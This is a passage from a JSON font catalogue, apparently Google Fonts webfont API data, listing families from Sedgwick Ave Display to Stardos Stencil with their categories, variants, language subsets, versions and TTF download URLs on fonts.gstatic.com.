"webfonts#webfont", "family": "Sedgwick Ave Display", "category": "handwriting", "variants": [ "regular" ], "subsets": [ "vietnamese", "latin-ext", "latin" ], "version": "v5", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/sedgwickavedisplay/v5/xfuu0XPgU3jZPUoUo3ScvmPi-NapQ8OxM2czd-YnOzUD.ttf" } }, { "kind": "webfonts#webfont", "family": "Sen", "category": "sans-serif", "variants": [ "regular", "700", "800" ], "subsets": [ "latin-ext", "latin" ], "version": "v1", "lastModified": "2020-03-06", "files": { "regular": "http://fonts.gstatic.com/s/sen/v1/6xKjdSxYI9_Hm_-MImrpLQ.ttf", "700": "http://fonts.gstatic.com/s/sen/v1/6xKudSxYI9__J9CoKkH1JHUQSQ.ttf", "800": "http://fonts.gstatic.com/s/sen/v1/6xKudSxYI9__O9OoKkH1JHUQSQ.ttf" } }, { "kind": "webfonts#webfont", "family": "Sevillana", "category": "display", "variants": [ "regular" ], "subsets": [ "latin-ext", "latin" ], "version": "v8", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/sevillana/v8/KFOlCnWFscmDt1Bfiy1vAx05IsDqlA.ttf" } }, { "kind": "webfonts#webfont", "family": "Seymour One", "category": "sans-serif", "variants": [ "regular" ], "subsets": [ "cyrillic", "latin-ext", "latin" ], "version": "v7", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/seymourone/v7/4iCp6Khla9xbjQpoWGGd0myIPYBvgpUI.ttf" } }, { "kind": "webfonts#webfont", "family": "Shadows Into Light", "category": "handwriting", "variants": [ "regular" ], "subsets": [ "latin" ], "version": "v9", "lastModified": "2019-07-17", "files": { "regular": "http://fonts.gstatic.com/s/shadowsintolight/v9/UqyNK9UOIntux_czAvDQx_ZcHqZXBNQDcsr4xzSMYA.ttf" } }, { "kind": "webfonts#webfont", "family": "Shadows Into Light Two", "category": "handwriting", "variants": [ "regular" ], "subsets": [ "latin-ext", "latin" ], "version": "v7", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/shadowsintolighttwo/v7/4iC86LVlZsRSjQhpWGedwyOoW-0A6_kpsyNmlAvNGLNnIF0.ttf" } }, { "kind": "webfonts#webfont", "family": "Shanti", "category": "sans-serif", "variants": [ "regular" ], "subsets": [ "latin" ], "version": "v11", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/shanti/v11/t5thIREMM4uSDgzgU0ezpKfwzA.ttf" } }, { "kind": "webfonts#webfont", "family": "Share", "category": "display", "variants": [ "regular", "italic", "700", "700italic" ], "subsets": [ "latin-ext", "latin" ], "version": "v10", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/share/v10/i7dEIFliZjKNF5VNHLq2cV5d.ttf", "italic": "http://fonts.gstatic.com/s/share/v10/i7dKIFliZjKNF6VPFr6UdE5dWFM.ttf", "700": "http://fonts.gstatic.com/s/share/v10/i7dJIFliZjKNF63xM56-WkJUQUq7.ttf", "700italic": "http://fonts.gstatic.com/s/share/v10/i7dPIFliZjKNF6VPLgK7UEZ2RFq7AwU.ttf" } }, { "kind": "webfonts#webfont", "family": "Share Tech", "category": "sans-serif", "variants": [ "regular" ], "subsets": [ "latin" ], "version": "v9", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/sharetech/v9/7cHtv4Uyi5K0OeZ7bohUwHoDmTcibrA.ttf" } }, { "kind": "webfonts#webfont", "family": "Share Tech Mono", "category": "monospace", "variants": [ "regular" ], "subsets": [ "latin" ], "version": "v9", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/sharetechmono/v9/J7aHnp1uDWRBEqV98dVQztYldFc7pAsEIc3Xew.ttf" } }, { "kind": "webfonts#webfont", "family": "Shojumaru", "category": "display", "variants": [ "regular" ], "subsets": [ "latin-ext", "latin" ], "version": "v7", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/shojumaru/v7/rax_HiWfutkLLnaKCtlMBBJek0vA8A.ttf" } }, { "kind": "webfonts#webfont", "family": "Short Stack", "category": "handwriting", "variants": [ "regular" ], "subsets": [ "latin" ], "version": "v9", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/shortstack/v9/bMrzmS2X6p0jZC6EcmPFX-SScX8D0nq6.ttf" } }, { "kind": "webfonts#webfont", "family": "Shrikhand", "category": "display", "variants": [ "regular" ], "subsets": [ "gujarati", "latin-ext", "latin" ], "version": "v5", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/shrikhand/v5/a8IbNovtLWfR7T7bMJwbBIiQ0zhMtA.ttf" } }, { "kind": "webfonts#webfont", "family": "Siemreap", "category": "display", "variants": [ "regular" ], "subsets": [ "khmer" ], "version": "v12", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/siemreap/v12/Gg82N5oFbgLvHAfNl2YbnA8DLXpe.ttf" } }, { "kind": "webfonts#webfont", "family": "Sigmar One", "category": "display", "variants": [ "regular" ], "subsets": [ "vietnamese", "latin-ext", "latin" ], "version": "v10", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/sigmarone/v10/co3DmWZ8kjZuErj9Ta3dk6Pjp3Di8U0.ttf" } }, { "kind": "webfonts#webfont", "family": "Signika", "category": "sans-serif", "variants": [ "300", "regular", "600", "700" ], "subsets": [ "latin-ext", "latin" ], "version": "v10", "lastModified": "2019-07-17", "files": { "300": "http://fonts.gstatic.com/s/signika/v10/vEFU2_JTCgwQ5ejvE_oEI3BDa0AdytM.ttf", "regular": "http://fonts.gstatic.com/s/signika/v10/vEFR2_JTCgwQ5ejvK1YsB3hod0k.ttf", "600": "http://fonts.gstatic.com/s/signika/v10/vEFU2_JTCgwQ5ejvE44CI3BDa0AdytM.ttf", "700": "http://fonts.gstatic.com/s/signika/v10/vEFU2_JTCgwQ5ejvE-oDI3BDa0AdytM.ttf" } }, { "kind": "webfonts#webfont", "family": "Signika Negative", "category": "sans-serif", "variants": [ "300", "regular", "600", "700" ], "subsets": [ "latin-ext", "latin" ], "version": "v10", "lastModified": "2019-07-16", "files": { "300": "http://fonts.gstatic.com/s/signikanegative/v10/E217_cfngu7HiRpPX3ZpNE4kY5zKal6DipHD6z_iXAs.ttf", "regular": "http://fonts.gstatic.com/s/signikanegative/v10/E218_cfngu7HiRpPX3ZpNE4kY5zKUvKrrpno9zY.ttf", "600": "http://fonts.gstatic.com/s/signikanegative/v10/E217_cfngu7HiRpPX3ZpNE4kY5zKaiqFipHD6z_iXAs.ttf", "700": "http://fonts.gstatic.com/s/signikanegative/v10/E217_cfngu7HiRpPX3ZpNE4kY5zKak6EipHD6z_iXAs.ttf" } }, { "kind": "webfonts#webfont", "family": "Simonetta", "category": "display", "variants": [ "regular", "italic", "900", "900italic" ], "subsets": [ "latin-ext", "latin" ], "version": "v10", "lastModified": "2019-07-26", "files": { "regular": "http://fonts.gstatic.com/s/simonetta/v10/x3dickHVYrCU5BU15c4BfPACvy_1BA.ttf", "italic": "http://fonts.gstatic.com/s/simonetta/v10/x3dkckHVYrCU5BU15c4xfvoGnSrlBBsy.ttf", "900": "http://fonts.gstatic.com/s/simonetta/v10/x3dnckHVYrCU5BU15c45-N0mtwTpDQIrGg.ttf", "900italic": "http://fonts.gstatic.com/s/simonetta/v10/x3d5ckHVYrCU5BU15c4xfsKCsA7tLwc7Gn88.ttf" } }, { "kind": "webfonts#webfont", "family": "Single Day", "category": "display", "variants": [ "regular" ], "subsets": [ "korean" ], "version": "v1", "lastModified": "2020-03-03", "files": { "regular": "http://fonts.gstatic.com/s/singleday/v1/LYjHdGDjlEgoAcF95EI5jVoFUNfeQJU.ttf" } }, { "kind": "webfonts#webfont", "family": "Sintony", "category": "sans-serif", "variants": [ "regular", "700" ], "subsets": [ "latin-ext", "latin" ], "version": "v7", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/sintony/v7/XoHm2YDqR7-98cVUITQnu98ojjs.ttf", "700": "http://fonts.gstatic.com/s/sintony/v7/XoHj2YDqR7-98cVUGYgIn9cDkjLp6C8.ttf" } }, { "kind": "webfonts#webfont", "family": "Sirin Stencil", "category": "display", "variants": [ "regular" ], "subsets": [ "latin" ], "version": "v8", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/sirinstencil/v8/mem4YaWwznmLx-lzGfN7MdRydchGBq6al6o.ttf" } }, { "kind": "webfonts#webfont", "family": "Six Caps", "category": "sans-serif", "variants": [ "regular" ], "subsets": [ "latin" ], "version": "v10", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/sixcaps/v10/6ae_4KGrU7VR7bNmabcS9XXaPCop.ttf" } }, { "kind": "webfonts#webfont", "family": "Skranji", "category": "display", "variants": [ "regular", "700" ], "subsets": [ "latin-ext", "latin" ], "version": "v7", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/skranji/v7/OZpDg_dtriVFNerMYzuuklTm3Ek.ttf", "700": "http://fonts.gstatic.com/s/skranji/v7/OZpGg_dtriVFNerMW4eBtlzNwED-b4g.ttf" } }, { "kind": "webfonts#webfont", "family": "Slabo 13px", "category": "serif", "variants": [ "regular" ], "subsets": [ "latin-ext", "latin" ], "version": "v7", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/slabo13px/v7/11hEGp_azEvXZUdSBzzRcKer2wkYnvI.ttf" } }, { "kind": "webfonts#webfont", "family": "Slabo 27px", "category": "serif", "variants": [ "regular" ], "subsets": [ "latin-ext", "latin" ], "version": "v6", "lastModified": "2019-07-22", "files": { "regular": "http://fonts.gstatic.com/s/slabo27px/v6/mFT0WbgBwKPR_Z4hGN2qsxgJ1EJ7i90.ttf" } }, { "kind": "webfonts#webfont", "family": "Slackey", "category": "display", "variants": [ "regular" ], "subsets": [ "latin" ], "version": "v10", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/slackey/v10/N0bV2SdQO-5yM0-dKlRaJdbWgdY.ttf" } }, { "kind": "webfonts#webfont", "family": "Smokum", "category": "display", "variants": [ "regular" ], "subsets": [ "latin" ], "version": "v10", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/smokum/v10/TK3iWkUbAhopmrdGHjUHte5fKg.ttf" } }, { "kind": "webfonts#webfont", "family": "Smythe", "category": "display", "variants": [ "regular" ], "subsets": [ "latin" ], "version": "v10", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/smythe/v10/MwQ3bhT01--coT1BOLh_uGInjA.ttf" } }, { "kind": "webfonts#webfont", "family": "Sniglet", "category": "display", "variants": [ "regular", "800" ], "subsets": [ "latin-ext", "latin" ], "version": "v11", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/sniglet/v11/cIf9MaFLtkE3UjaJxCmrYGkHgIs.ttf", "800": "http://fonts.gstatic.com/s/sniglet/v11/cIf4MaFLtkE3UjaJ_ImHRGEsnIJkWL4.ttf" } }, { "kind": "webfonts#webfont", "family": "Snippet", "category": "sans-serif", "variants": [ "regular" ], "subsets": [ "latin" ], "version": "v9", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/snippet/v9/bWt47f7XfQH9Gupu2v_Afcp9QWc.ttf" } }, { "kind": "webfonts#webfont", "family": "Snowburst One", "category": "display", "variants": [ "regular" ], "subsets": [ "latin-ext", "latin" ], "version": "v7", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/snowburstone/v7/MQpS-WezKdujBsXY3B7I-UT7eZ-UPyacPbo.ttf" } }, { "kind": "webfonts#webfont", "family": "Sofadi One", "category": "display", "variants": [ "regular" ], "subsets": [ "latin" ], "version": "v8", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/sofadione/v8/JIA2UVBxdnVBuElZaMFGcDOIETkmYDU.ttf" } }, { "kind": "webfonts#webfont", "family": "Sofia", "category": "handwriting", "variants": [ "regular" ], "subsets": [ "latin" ], "version": "v8", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/sofia/v8/8QIHdirahM3j_vu-sowsrqjk.ttf" } }, { "kind": "webfonts#webfont", "family": "Solway", "category": "serif", "variants": [ "300", "regular", "500", "700", "800" ], "subsets": [ "latin" ], "version": "v2", "lastModified": "2020-03-03", "files": { "300": "http://fonts.gstatic.com/s/solway/v2/AMOTz46Cs2uTAOCuLlgZms0QW3mqyg.ttf", "regular": "http://fonts.gstatic.com/s/solway/v2/AMOQz46Cs2uTAOCWgnA9kuYMUg.ttf", "500": "http://fonts.gstatic.com/s/solway/v2/AMOTz46Cs2uTAOCudlkZms0QW3mqyg.ttf", "700": "http://fonts.gstatic.com/s/solway/v2/AMOTz46Cs2uTAOCuPl8Zms0QW3mqyg.ttf", "800": "http://fonts.gstatic.com/s/solway/v2/AMOTz46Cs2uTAOCuIlwZms0QW3mqyg.ttf" } }, { "kind": "webfonts#webfont", "family": "Song Myung", "category": "serif", "variants": [ "regular" ], "subsets": [ "korean", "latin" ], "version": "v8", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/songmyung/v8/1cX2aUDWAJH5-EIC7DIhr1GqhcitzeM.ttf" } }, { "kind": "webfonts#webfont", "family": "Sonsie One", "category": "display", "variants": [ "regular" ], "subsets": [ "latin-ext", "latin" ], "version": "v8", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/sonsieone/v8/PbymFmP_EAnPqbKaoc18YVu80lbp8JM.ttf" } }, { "kind": "webfonts#webfont", "family": "Sorts Mill Goudy", "category": "serif", "variants": [ "regular", "italic" ], "subsets": [ "latin-ext", "latin" ], "version": "v9", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/sortsmillgoudy/v9/Qw3GZR9MED_6PSuS_50nEaVrfzgEXH0OjpM75PE.ttf", "italic": "http://fonts.gstatic.com/s/sortsmillgoudy/v9/Qw3AZR9MED_6PSuS_50nEaVrfzgEbH8EirE-9PGLfQ.ttf" } }, { "kind": "webfonts#webfont", "family": "Source Code Pro", "category": "monospace", "variants": [ "200", "200italic", "300", "300italic", "regular", "italic", "500", "500italic", "600", "600italic", "700", "700italic", "900", "900italic" ], "subsets": [ "cyrillic", "vietnamese", "cyrillic-ext", "greek", "latin-ext", "latin" ], "version": "v11", "lastModified": "2019-08-22", "files": { "200": "http://fonts.gstatic.com/s/sourcecodepro/v11/HI_XiYsKILxRpg3hIP6sJ7fM7Pqt8srztO0rzmmkDQ.ttf", "200italic": "http://fonts.gstatic.com/s/sourcecodepro/v11/HI_ViYsKILxRpg3hIP6sJ7fM7PqlONMbtecv7Gy0DRzS.ttf", "300": "http://fonts.gstatic.com/s/sourcecodepro/v11/HI_XiYsKILxRpg3hIP6sJ7fM7PqtlsnztO0rzmmkDQ.ttf", "300italic": "http://fonts.gstatic.com/s/sourcecodepro/v11/HI_ViYsKILxRpg3hIP6sJ7fM7PqlONN_tucv7Gy0DRzS.ttf", "regular": "http://fonts.gstatic.com/s/sourcecodepro/v11/HI_SiYsKILxRpg3hIP6sJ7fM7PqVOuHXvMY3xw.ttf", "italic": "http://fonts.gstatic.com/s/sourcecodepro/v11/HI_QiYsKILxRpg3hIP6sJ7fM7PqlOOvTnsMnx3C9.ttf", "500": "http://fonts.gstatic.com/s/sourcecodepro/v11/HI_XiYsKILxRpg3hIP6sJ7fM7PqtzsjztO0rzmmkDQ.ttf", "500italic": "http://fonts.gstatic.com/s/sourcecodepro/v11/HI_ViYsKILxRpg3hIP6sJ7fM7PqlONMnt-cv7Gy0DRzS.ttf", "600": "http://fonts.gstatic.com/s/sourcecodepro/v11/HI_XiYsKILxRpg3hIP6sJ7fM7Pqt4s_ztO0rzmmkDQ.ttf", "600italic": "http://fonts.gstatic.com/s/sourcecodepro/v11/HI_ViYsKILxRpg3hIP6sJ7fM7PqlONMLsOcv7Gy0DRzS.ttf", "700": "http://fonts.gstatic.com/s/sourcecodepro/v11/HI_XiYsKILxRpg3hIP6sJ7fM7Pqths7ztO0rzmmkDQ.ttf", "700italic": "http://fonts.gstatic.com/s/sourcecodepro/v11/HI_ViYsKILxRpg3hIP6sJ7fM7PqlONNvsecv7Gy0DRzS.ttf", "900": "http://fonts.gstatic.com/s/sourcecodepro/v11/HI_XiYsKILxRpg3hIP6sJ7fM7PqtvszztO0rzmmkDQ.ttf", "900italic": "http://fonts.gstatic.com/s/sourcecodepro/v11/HI_ViYsKILxRpg3hIP6sJ7fM7PqlONNXs-cv7Gy0DRzS.ttf" } }, { "kind": "webfonts#webfont", "family": "Source Sans Pro", "category": "sans-serif", "variants": [ "200", "200italic", "300", "300italic", "regular", "italic", "600", "600italic", "700", "700italic", "900", "900italic" ], "subsets": [ "cyrillic", "vietnamese", "cyrillic-ext", "greek-ext", "greek", "latin-ext", "latin" ], "version": "v13", "lastModified": "2019-07-23", "files": { "200": "http://fonts.gstatic.com/s/sourcesanspro/v13/6xKydSBYKcSV-LCoeQqfX1RYOo3i94_AkB1v_8CGxg.ttf", "200italic": "http://fonts.gstatic.com/s/sourcesanspro/v13/6xKwdSBYKcSV-LCoeQqfX1RYOo3qPZYokRdr3cWWxg40.ttf", "300": "http://fonts.gstatic.com/s/sourcesanspro/v13/6xKydSBYKcSV-LCoeQqfX1RYOo3ik4zAkB1v_8CGxg.ttf", "300italic": "http://fonts.gstatic.com/s/sourcesanspro/v13/6xKwdSBYKcSV-LCoeQqfX1RYOo3qPZZMkhdr3cWWxg40.ttf", "regular": "http://fonts.gstatic.com/s/sourcesanspro/v13/6xK3dSBYKcSV-LCoeQqfX1RYOo3aP6TkmDZz9g.ttf", "italic": "http://fonts.gstatic.com/s/sourcesanspro/v13/6xK1dSBYKcSV-LCoeQqfX1RYOo3qPa7gujNj9tmf.ttf", "600": "http://fonts.gstatic.com/s/sourcesanspro/v13/6xKydSBYKcSV-LCoeQqfX1RYOo3i54rAkB1v_8CGxg.ttf", "600italic": "http://fonts.gstatic.com/s/sourcesanspro/v13/6xKwdSBYKcSV-LCoeQqfX1RYOo3qPZY4lBdr3cWWxg40.ttf", "700": "http://fonts.gstatic.com/s/sourcesanspro/v13/6xKydSBYKcSV-LCoeQqfX1RYOo3ig4vAkB1v_8CGxg.ttf", "700italic": "http://fonts.gstatic.com/s/sourcesanspro/v13/6xKwdSBYKcSV-LCoeQqfX1RYOo3qPZZclRdr3cWWxg40.ttf", "900": "http://fonts.gstatic.com/s/sourcesanspro/v13/6xKydSBYKcSV-LCoeQqfX1RYOo3iu4nAkB1v_8CGxg.ttf", "900italic": "http://fonts.gstatic.com/s/sourcesanspro/v13/6xKwdSBYKcSV-LCoeQqfX1RYOo3qPZZklxdr3cWWxg40.ttf" } }, { "kind": "webfonts#webfont", "family": "Source Serif Pro", "category": "serif", "variants": [ "regular", "600", "700" ], "subsets": [ "latin-ext", "latin" ], "version": "v7", "lastModified": "2019-07-17", "files": { "regular": "http://fonts.gstatic.com/s/sourceserifpro/v7/neIQzD-0qpwxpaWvjeD0X88SAOeaiXM0oSOL2Yw.ttf", "600": "http://fonts.gstatic.com/s/sourceserifpro/v7/neIXzD-0qpwxpaWvjeD0X88SAOeasasahSugxYUvZrI.ttf", "700": "http://fonts.gstatic.com/s/sourceserifpro/v7/neIXzD-0qpwxpaWvjeD0X88SAOeasc8bhSugxYUvZrI.ttf" } }, { "kind": "webfonts#webfont", "family": "Space Mono", "category": "monospace", "variants": [ "regular", "italic", "700", "700italic" ], "subsets": [ "vietnamese", "latin-ext", "latin" ], "version": "v5", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/spacemono/v5/i7dPIFZifjKcF5UAWdDRUEZ2RFq7AwU.ttf", "italic": "http://fonts.gstatic.com/s/spacemono/v5/i7dNIFZifjKcF5UAWdDRYER8QHi-EwWMbg.ttf", "700": "http://fonts.gstatic.com/s/spacemono/v5/i7dMIFZifjKcF5UAWdDRaPpZYFKQHwyVd3U.ttf", "700italic": "http://fonts.gstatic.com/s/spacemono/v5/i7dSIFZifjKcF5UAWdDRYERE_FeaGy6QZ3WfYg.ttf" } }, { "kind": "webfonts#webfont", "family": "Spartan", "category": "sans-serif", "variants": [ "100", "200", "300", "regular", "500", "600", "700", "800", "900" ], "subsets": [ "latin-ext", "latin" ], "version": "v1", "lastModified": "2020-02-25", "files": { "100": "http://fonts.gstatic.com/s/spartan/v1/l7gAbjR61M69yt8Z8w6FZf9WoBxdBrGFuG6OChXtf4qS.ttf", "200": "http://fonts.gstatic.com/s/spartan/v1/l7gAbjR61M69yt8Z8w6FZf9WoBxdBrEFuW6OChXtf4qS.ttf", "300": "http://fonts.gstatic.com/s/spartan/v1/l7gAbjR61M69yt8Z8w6FZf9WoBxdBrHbuW6OChXtf4qS.ttf", "regular": "http://fonts.gstatic.com/s/spartan/v1/l7gAbjR61M69yt8Z8w6FZf9WoBxdBrGFuW6OChXtf4qS.ttf", "500": "http://fonts.gstatic.com/s/spartan/v1/l7gAbjR61M69yt8Z8w6FZf9WoBxdBrG3uW6OChXtf4qS.ttf", "600": "http://fonts.gstatic.com/s/spartan/v1/l7gAbjR61M69yt8Z8w6FZf9WoBxdBrFbvm6OChXtf4qS.ttf", "700": "http://fonts.gstatic.com/s/spartan/v1/l7gAbjR61M69yt8Z8w6FZf9WoBxdBrFivm6OChXtf4qS.ttf", "800": "http://fonts.gstatic.com/s/spartan/v1/l7gAbjR61M69yt8Z8w6FZf9WoBxdBrEFvm6OChXtf4qS.ttf", "900": "http://fonts.gstatic.com/s/spartan/v1/l7gAbjR61M69yt8Z8w6FZf9WoBxdBrEsvm6OChXtf4qS.ttf" } }, { "kind": "webfonts#webfont", "family": "Special Elite", "category": "display", "variants": [ "regular" ], "subsets": [ "latin" ], "version": "v10", "lastModified": "2019-07-17", "files": { "regular": "http://fonts.gstatic.com/s/specialelite/v10/XLYgIZbkc4JPUL5CVArUVL0nhncESXFtUsM.ttf" } }, { "kind": "webfonts#webfont", "family": "Spectral", "category": "serif", "variants": [ "200", "200italic", "300", "300italic", "regular", "italic", "500", "500italic", "600", "600italic", "700", "700italic", "800", "800italic" ], "subsets": [ "cyrillic", "vietnamese", "latin-ext", "latin" ], "version": "v6", "lastModified": "2019-07-16", "files": { "200": "http://fonts.gstatic.com/s/spectral/v6/rnCs-xNNww_2s0amA9v2s13GY_etWWIJ.ttf", "200italic": "http://fonts.gstatic.com/s/spectral/v6/rnCu-xNNww_2s0amA9M8qrXHafOPXHIJErY.ttf", "300": "http://fonts.gstatic.com/s/spectral/v6/rnCs-xNNww_2s0amA9uSsF3GY_etWWIJ.ttf", "300italic": "http://fonts.gstatic.com/s/spectral/v6/rnCu-xNNww_2s0amA9M8qtHEafOPXHIJErY.ttf", "regular": "http://fonts.gstatic.com/s/spectral/v6/rnCr-xNNww_2s0amA-M-mHnOSOuk.ttf", "italic": "http://fonts.gstatic.com/s/spectral/v6/rnCt-xNNww_2s0amA9M8kn3sTfukQHs.ttf", "500": "http://fonts.gstatic.com/s/spectral/v6/rnCs-xNNww_2s0amA9vKsV3GY_etWWIJ.ttf", "500italic": "http://fonts.gstatic.com/s/spectral/v6/rnCu-xNNww_2s0amA9M8qonFafOPXHIJErY.ttf", "600": "http://fonts.gstatic.com/s/spectral/v6/rnCs-xNNww_2s0amA9vmtl3GY_etWWIJ.ttf", "600italic": "http://fonts.gstatic.com/s/spectral/v6/rnCu-xNNww_2s0amA9M8qqXCafOPXHIJErY.ttf", "700": "http://fonts.gstatic.com/s/spectral/v6/rnCs-xNNww_2s0amA9uCt13GY_etWWIJ.ttf", "700italic": "http://fonts.gstatic.com/s/spectral/v6/rnCu-xNNww_2s0amA9M8qsHDafOPXHIJErY.ttf", "800": "http://fonts.gstatic.com/s/spectral/v6/rnCs-xNNww_2s0amA9uetF3GY_etWWIJ.ttf", "800italic": "http://fonts.gstatic.com/s/spectral/v6/rnCu-xNNww_2s0amA9M8qt3AafOPXHIJErY.ttf" } }, { "kind": "webfonts#webfont", "family": "Spectral SC", "category": "serif", "variants": [ "200", "200italic", "300", "300italic", "regular", "italic", "500", "500italic", "600", "600italic", "700", "700italic", "800", "800italic" ], "subsets": [ "cyrillic", "vietnamese", "latin-ext", "latin" ], "version": "v5", "lastModified": "2019-07-16", "files": { "200": "http://fonts.gstatic.com/s/spectralsc/v5/Ktk0ALCRZonmalTgyPmRfs1qwkTXPYeVXJZB.ttf", "200italic": "http://fonts.gstatic.com/s/spectralsc/v5/Ktk2ALCRZonmalTgyPmRfsWg26zWN4O3WYZB_sU.ttf", "300": "http://fonts.gstatic.com/s/spectralsc/v5/Ktk0ALCRZonmalTgyPmRfs0OwUTXPYeVXJZB.ttf", "300italic": "http://fonts.gstatic.com/s/spectralsc/v5/Ktk2ALCRZonmalTgyPmRfsWg28jVN4O3WYZB_sU.ttf", "regular": "http://fonts.gstatic.com/s/spectralsc/v5/KtkpALCRZonmalTgyPmRfvWi6WDfFpuc.ttf", "italic": "http://fonts.gstatic.com/s/spectralsc/v5/KtkrALCRZonmalTgyPmRfsWg42T9E4ucRY8.ttf", "500": "http://fonts.gstatic.com/s/spectralsc/v5/Ktk0ALCRZonmalTgyPmRfs1WwETXPYeVXJZB.ttf", "500italic": "http://fonts.gstatic.com/s/spectralsc/v5/Ktk2ALCRZonmalTgyPmRfsWg25DUN4O3WYZB_sU.ttf", "600": "http://fonts.gstatic.com/s/spectralsc/v5/Ktk0ALCRZonmalTgyPmRfs16x0TXPYeVXJZB.ttf", "600italic": "http://fonts.gstatic.com/s/spectralsc/v5/Ktk2ALCRZonmalTgyPmRfsWg27zTN4O3WYZB_sU.ttf", "700": "http://fonts.gstatic.com/s/spectralsc/v5/Ktk0ALCRZonmalTgyPmRfs0exkTXPYeVXJZB.ttf", "700italic": "http://fonts.gstatic.com/s/spectralsc/v5/Ktk2ALCRZonmalTgyPmRfsWg29jSN4O3WYZB_sU.ttf", "800": "http://fonts.gstatic.com/s/spectralsc/v5/Ktk0ALCRZonmalTgyPmRfs0CxUTXPYeVXJZB.ttf", "800italic": "http://fonts.gstatic.com/s/spectralsc/v5/Ktk2ALCRZonmalTgyPmRfsWg28TRN4O3WYZB_sU.ttf" } }, { "kind": "webfonts#webfont", "family": "Spicy Rice", "category": "display", "variants": [ "regular" ], "subsets": [ "latin" ], "version": "v8", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/spicyrice/v8/uK_24rSEd-Uqwk4jY1RyGv-2WkowRcc.ttf" } }, { "kind": "webfonts#webfont", "family": "Spinnaker", "category": "sans-serif", "variants": [ "regular" ], "subsets": [ "latin-ext", "latin" ], "version": "v11", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/spinnaker/v11/w8gYH2oyX-I0_rvR6Hmn3HwLqOqSBg.ttf" } }, { "kind": "webfonts#webfont", "family": "Spirax", "category": "display", "variants": [ "regular" ], "subsets": [ "latin" ], "version": "v8", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/spirax/v8/buE3poKgYNLy0F3cXktt-Csn-Q.ttf" } }, { "kind": "webfonts#webfont", "family": "Squada One", "category": "display", "variants": [ "regular" ], "subsets": [ "latin" ], "version": "v8", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/squadaone/v8/BCasqZ8XsOrx4mcOk6MtWaA8WDBkHgs.ttf" } }, { "kind": "webfonts#webfont", "family": "Sree Krushnadevaraya", "category": "serif", "variants": [ "regular" ], "subsets": [ "telugu", "latin" ], "version": "v7", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/sreekrushnadevaraya/v7/R70FjzQeifmPepmyQQjQ9kvwMkWYPfTA_EWb2FhQuXir.ttf" } }, { "kind": "webfonts#webfont", "family": "Sriracha", "category": "handwriting", "variants": [ "regular" ], "subsets": [ "vietnamese", "thai", "latin-ext", "latin" ], "version": "v4", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/sriracha/v4/0nkrC9D4IuYBgWcI9ObYRQDioeb0.ttf" } }, { "kind": "webfonts#webfont", "family": "Srisakdi", "category": "display", "variants": [ "regular", "700" ], "subsets": [ "vietnamese", "thai", "latin-ext", "latin" ], "version": "v3", "lastModified": "2019-11-05", "files": { "regular": "http://fonts.gstatic.com/s/srisakdi/v3/yMJRMIlvdpDbkB0A-jq8fSx5i814.ttf", "700": "http://fonts.gstatic.com/s/srisakdi/v3/yMJWMIlvdpDbkB0A-gIAUghxoNFxW0Hz.ttf" } }, { "kind": "webfonts#webfont", "family": "Staatliches", "category": "display", "variants": [ "regular" ], "subsets": [ "latin-ext", "latin" ], "version": "v3", "lastModified": "2019-11-05", "files": { "regular": "http://fonts.gstatic.com/s/staatliches/v3/HI_OiY8KO6hCsQSoAPmtMbectJG9O9PS.ttf" } }, { "kind": "webfonts#webfont", "family": "Stalemate", "category": "handwriting", "variants": [ "regular" ], "subsets": [ "latin-ext", "latin" ], "version": "v7", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/stalemate/v7/taiIGmZ_EJq97-UfkZRpuqSs8ZQpaQ.ttf" } }, { "kind": "webfonts#webfont", "family": "Stalinist One", "category": "display", "variants": [ "regular" ], "subsets": [ "cyrillic", "latin-ext", "latin" ], "version": "v25", "lastModified": "2019-12-05", "files": { "regular": "http://fonts.gstatic.com/s/stalinistone/v25/MQpS-WezM9W4Dd7D3B7I-UT7eZ-UPyacPbo.ttf" } }, { "kind": "webfonts#webfont", "family": "Stardos Stencil", "category": "display", "variants": [ "regular", "700" ], "subsets": [ "latin" ], "version": "v10", "lastModified": "2019-07-26", 